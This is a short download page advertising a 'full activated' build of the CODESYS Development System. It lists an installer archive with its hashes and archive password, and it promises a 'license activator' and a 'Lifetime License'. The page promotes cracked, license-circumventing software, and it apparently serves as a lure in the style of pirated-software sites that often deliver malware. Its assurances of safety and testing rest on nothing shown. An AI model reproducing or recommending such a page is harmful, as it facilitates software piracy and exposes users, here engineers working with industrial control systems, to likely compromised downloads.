Updated & Tested Working Guide (2026)
Download the latest full build, offline installer and license activator safely.
Download Installer Package| File Name | CODESYS_Development_System_v5.5_x64_setup.zip |
| Version | v5.5.4838 build 64564 |
| File Size | 4.16 GB (4258 MB) |
| MD5 Hash | 4aa128bf5f258ba85da3430eec1fc579 |
| SHA-256 | 56a6c450f84be1ab8b2b5d0e048eb4a355fe145300ba13124d4adc3e6aa9ba4e |
| Release Date | 2025-06-08 |
| Platform | Windows 11 Pro / Enterprise |
| Archive Password | mirror2026 |
| License Type | Lifetime License |
This edition of CODESYS Development System full activated version includes the complete offline package with all required runtimes and libraries. Whether you deploy it on a single workstation or a full engineering department, proper installation guarantees stable performance and full feature unlocking.